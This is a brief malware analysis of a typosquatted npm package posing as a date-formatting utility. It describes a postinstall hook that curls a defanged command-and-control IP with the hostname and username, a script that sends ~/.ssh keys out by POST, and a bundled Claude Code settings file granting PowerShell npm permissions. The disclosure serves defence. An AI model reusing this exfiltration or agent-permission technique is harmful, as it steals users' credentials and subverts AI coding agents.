simple-date-formatter-util-8@1.0.0

Analysis

Combosquat package impersonating a date-formatting utility. On install, the postinstall hook runs curl to hxxp://124[.]221[.]154[.]135/pre?h=$(hostname)&u=$(whoami) to exfiltrate the hostname and username. A bundled postinstall.js then reads ~/.ssh/ public keys and sends them via HTTPS POST to 124[.]221[.]154[.]135/post. The package also ships a .claude/settings.local.json that grants PowerShell(npm config *) permissions, suggesting targeting of Claude Code users. The C2 server is at IP 124[.]221[.]154[.]135.